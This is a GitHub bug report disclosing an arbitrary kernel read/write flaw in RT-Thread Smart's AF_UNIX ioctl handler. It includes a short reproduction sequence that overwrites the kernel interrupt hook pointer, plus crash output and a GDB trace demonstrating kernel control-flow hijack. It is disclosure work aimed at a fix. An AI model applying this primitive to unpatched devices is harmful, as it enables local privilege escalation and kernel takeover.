Repository navigation
Description
[Bug] [Smart] AF_UNIX: ioctl FIONREAD writes attacker-controlled value to any kernel pointer from unprivileged user (PR #11681)
RT-Thread Version
master (v5.4.0-dev, verified unpatched by reading origin/master af_unix_core.c:945 before submission) and all releases since v5.3.0 (introduced by PR #11681, commit 991f0ff, 2026-08-17). v5.2.x and earlier do not contain the component.
Affected area
RT-Thread Smart / AF_UNIX local sockets — components/net/af_unix/src/af_unix_core.c (af_unix_ioctl), reached through the sys_ioctl → SAL ioctlsocket chain.
Hardware-BSP vendor
Others (QEMU vexpress-a9; applies to every RT_USING_SMART board with RT_USING_AF_UNIX=y)
Architecture
ARM (32-bit; the vulnerability itself is architecture-independent kernel C)
Board and hardware details
QEMU vexpress-a9, RT-Smart kernel built from master (5d1fb66) with RT_USING_AF_UNIX enabled; PoC runs as an unprivileged user process (/sbin/init).
Develop Toolchain
arm-linux-musleabi gcc 13.2 (kernel + freestanding PoC), scons, qemu-system-arm 9.2.3, gdb-multiarch
Describe the bug
sys_ioctl validates/copies the user pointer only for F_GETLK/F_SETLK/F_SETLKW (lwp_syscall.c:796-815) and passes data raw for every other command (:817). The new AF_UNIX component's af_unix_ioctl (af_unix_core.c:903-967) dereferences it with zero validation:
case FIONREAD:
*(int *)argument = (int)sock->stream_length; /* :945 arbitrary kernel write */
case FIONBIO:
else if (*(int *)argument != 0) /* :929 arbitrary kernel read */
The written value is fully attacker-chosen in [0, 4096] (AF_UNIX_STREAM_BUFFER_SIZE default; Kconfig range 256..65535): first socketpair() + send(peer, buf, N, 0) fills the peer stream buffer with exactly N bytes, then one ioctl(fd, FIONREAD, kernel_va) writes N to any kernel virtual address. RT-Thread has no KASLR, so kernel object addresses are static — this is a complete local privilege-escalation primitive. FIONBIO additionally reads 4 bytes at any kernel VA (result observable via O_NONBLOCK/F_GETFL = 1-bit oracle). Every other AF_UNIX entry point (sendmsg/recvmsg/accept/getsockname/...) validates through kernel-buffered syscall wrappers; the ioctl handler is the one sink that does not.
Reproduction (full chain on QEMU RT-Smart, official APIs only, unprivileged user process):
socketpair(AF_UNIX, SOCK_STREAM, 0, fds); /* svc 205 */
send(fds[0], payload, 4096, 0); /* svc 80 -> peer stream_length = 4096 */
ioctl(fds[1], FIONREAD, &count); /* control: writes 4096 into user buffer, OK */
ioctl(fds[1], FIONREAD, 0xc010c12c); /* attack: &rt_interrupt_enter_hook (src/irq.c:29) */
Serial output of the attack run:
socketpair 0x00000000
send 0x00001000
ioctl(user) 0x00000000
bytes queued 0x00001000
ioctl(kva) 0x00000000 <- attack ioctl succeeds
prefetch abort:
r03:0x00001000 lr:0x10000054 pc:0x00001004 <- jump to attacker-chosen value
(next systick executes RT_OBJECT_HOOK_CALL(rt_interrupt_enter_hook) -> indirect
call to 0x00001000, completing the PC-control demonstration)
GDB hardware watchpoint on rt_interrupt_enter_hook confirms the write with the full kernel chain:
== WATCHPOINT HIT, hook now = 0x1000
#0 af_unix_ioctl(handle=1, command=21531 (0x541B FIONREAD), argument=0xc010c12c)
#1 sal_ioctlsocket sal_socket.c:1289
#2 dfs_net_ioctl dfs_net.c:40
#3 dfs_file_ioctl dfs_file.c:1658
#6 sys_ioctl(fd=5, cmd=0x541B, data=0xc010c12c) lwp_syscall.c:817 <- raw pass-through
#7 vector_swi
Control group: identical flow without the kernel-VA ioctl runs 3+ seconds of normal traffic, zero aborts.
Expected: FIONREAD should only write into a validated user buffer (every other AF_UNIX syscall copies through kernel buffers) or return EFAULT on a bad pointer.
Actual: an unprivileged user writes an attacker-controlled 32-bit value to any kernel address; pointing it at a function pointer hijacks kernel control flow (demonstrated above).
Other additional context
- CVSS 3.1: 7.8 (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H); CWE-20 -> CWE-787.
- Preconditions stated explicitly: RT_USING_SMART kernel with RT_USING_AF_UNIX=y (official Kconfig switch of the new component) and local unprivileged code execution.
- Relation to existing issues: [Bug] [Smart] terminal tty: ioctl passes raw user pointer into kernel dereference — arbitrary kernel read/write from unprivileged user process #11937 (terminal tty ioctl raw pointer) and [Bug] block: devfs ioctl copies partition data to an unvalidated user-supplied kernel pointer #11952 (block devfs ioctl) share the same root cause — sys_ioctl passing raw user pointers for non-flock commands. This report is a sibling path of that root, but the sink itself (
af_unix_ioctl) is brand-new code introduced by PR Add AF_UNIX sockets implementation #11681; treating it as an incomplete-fix sibling rather than a brand-new root. - The same SAL chain also reaches lwIP's
lwip_ioctlFIONREAD (*((int *)argp) = ...) for AF_INET sockets — noted as chain evidence; lwIP itself is an upstream component and defects there belong upstream. - Suggested fix: validate
argumentwithlwp_user_accessableinsideaf_unix_ioctl(consistent with how every other AF_UNIX entry point receives kernel-copied buffers), or copy/validate socket ioctl arguments once in the syscall layer.
Activity
github-actions commentedon Nov 27, 2026
如需认领并处理此 Issue,请评论
/claim。To claim and work on this issue, comment
/claim.